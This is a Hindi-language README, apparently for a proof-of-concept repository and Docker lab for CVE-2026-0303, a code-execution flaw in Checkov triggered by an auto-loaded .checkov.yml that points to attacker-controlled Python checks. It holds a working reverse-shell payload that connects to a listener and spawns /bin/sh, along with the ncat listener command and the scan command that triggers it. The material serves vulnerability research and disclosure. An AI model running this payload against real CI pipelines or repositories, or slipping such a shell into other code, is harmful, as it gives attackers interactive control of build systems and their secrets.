
CVE-2026-0303 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और Docker लैब, जो Checkov में मनमाने कोड निष्पादन को प्रदर्शित करता है, एक ऑटो-लोडेड .checkov.yml के माध्यम से जो हमलावर-नियंत्रित बाहरी चेक की ओर इंगित करता है।
CVE: CVE-2026-0303 | CVSS बेस: 6.3 | गंभीरता: निम्न
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H
CVE-2026-0303 - Checkov में मनमानी कोड निष्पादन भेद्यता।
Palo Alto Networks द्वारा 9 सितंबर, 2026 को प्रकाशित।
प्रभावित संस्करण: Checkov 3.2.0 से 3.2.531 तक
ठीक किया गया संस्करण: Checkov 3.2.532
स्वतः-लोड होने वाली .checkov.yml फ़ाइल के माध्यम से Checkov में मनमानी कोड निष्पादन
-> अहस्ताक्षरित बाहरी कस्टम चेक के माध्यम से हमलावर-नियंत्रित Python का निष्पादन।
https://github.com/user-attachments/assets/62af16bb-5b7f-4465-98b9-2d1836f5ee4f
Checkov बाहरी Python चेक का समर्थन करता है। ये चेक जानबूझकर Python मॉड्यूल के रूप में लोड किए जाते हैं, जिसका अर्थ है कि मॉड्यूल आयात के दौरान शीर्ष-स्तरीय Python कथन निष्पादित होते हैं।
जब Checkov किसी निर्देशिका को स्कैन करता है, तो यह स्वचालित रूप से उस निर्देशिका में
.checkov.yml या .checkov.yaml कॉन्फ़िगरेशन फ़ाइल खोजता है, एक हमलावर-नियंत्रित
कॉन्फ़िगरेशन फ़ाइल external-checks-dir को स्कैन किए गए रिपॉज़िटरी के भीतर एक निर्देशिका
पर सेट कर सकती है।
यह निम्नलिखित निष्पादन श्रृंखला बनाता है:
पीड़ित एक अविश्वसनीय रिपॉज़िटरी स्कैन करता है
->
Checkov स्वचालित रूप से .checkov.yml लोड करता है
->
कॉन्फ़िगरेशन external-checks-dir सेट करता है
->
Checkov हमलावर-नियंत्रित Python मॉड्यूल आयात करता है
->
शीर्ष-स्तरीय Python कोड Checkov के विशेषाधिकारों के साथ निष्पादित होता है
हमलावर को Terraform पार्सर का शोषण करने या वैध Checkov नीति प्रदान करने की आवश्यकता नहीं है। कोड निष्पादन तब होता है जब Checkov Python फ़ाइल आयात करता है।
यह विशेष रूप से उन CI पाइपलाइनों के लिए प्रासंगिक है जो स्वचालित रूप से पुल अनुरोधों या अन्य अविश्वसनीय रिपॉज़िटरी सामग्री के विरुद्ध Checkov चलाती हैं।
लैब पेलोड Checkov कंटेनर से होस्ट पर एक श्रोता से कनेक्ट होता है:
def exploit():
lhost = "host.docker.internal"
lport = 4545
sock = socket.create_connection((lhost, lport))
for file_descriptor in (0, 1, 2):
os.dup2(sock.fileno(), file_descriptor)
subprocess.call(["/bin/sh", "-i"])
exploit()
exploit\external-checks\poc_check.py पर पेलोड संशोधित करें:
lhost = "127.0.0.1"
lport = 4444
होस्ट पर एक श्रोता प्रारंभ करें:
ncat -lvkp 4444
हमलावर-नियंत्रित निर्देशिका को स्कैन करके भेद्य व्यवहार को ट्रिगर करें:
checkov -d /workspace --framework terraform --skip-download
Checkov स्वचालित रूप से /workspace/.checkov.yml पढ़ता है, बाहरी चेक निर्देशिका खोजता
है, और poc_check.py आयात करता है। मॉड्यूल-स्तरीय exploit() कॉल निष्पादित होने पर
श्रोता को शेल प्राप्त होना चाहिए।
मैंने एक सरल docker लैब प्रदान की है जिसे आप इसके माध्यम से सेटअप कर सकते हैं
docker compose up -d
और इसके शेल से इसके माध्यम से कनेक्ट कर सकते हैं
docker exec -it scan-server /bin/sh
यह रिपॉज़िटरी CVE-2026-0303 के लिए एक स्वतंत्र प्रमाण-अवधारणा (proof of concept) शामिल करती है। भेद्यता को एक पृथक प्रयोगशाला वातावरण में पुनः बनाया और परीक्षण किया गया था।
यह परियोजना पूर्णतः अधिकृत सुरक्षा अनुसंधान, शिक्षा, और पृथक वातावरणों में परीक्षण के लिए है। इसका उपयोग सिस्टम, नेटवर्क, रिपॉज़िटरी, या डेटा के विरुद्ध स्वामी की स्पष्ट अनुमति के बिना न करें।
लेखक इस परियोजना को जैसी है वैसी प्रदान करता है, किसी भी प्रकार की वारंटी के बिना, और इस सॉफ़्टवेयर या इसके व्युत्पन्नों की क्षति, डेटा हानि, सेवा व्यवधान, अनधिकृत पहुँच, या दुरुपयोग के लिए कोई उत्तरदायित्व स्वीकार नहीं करता है।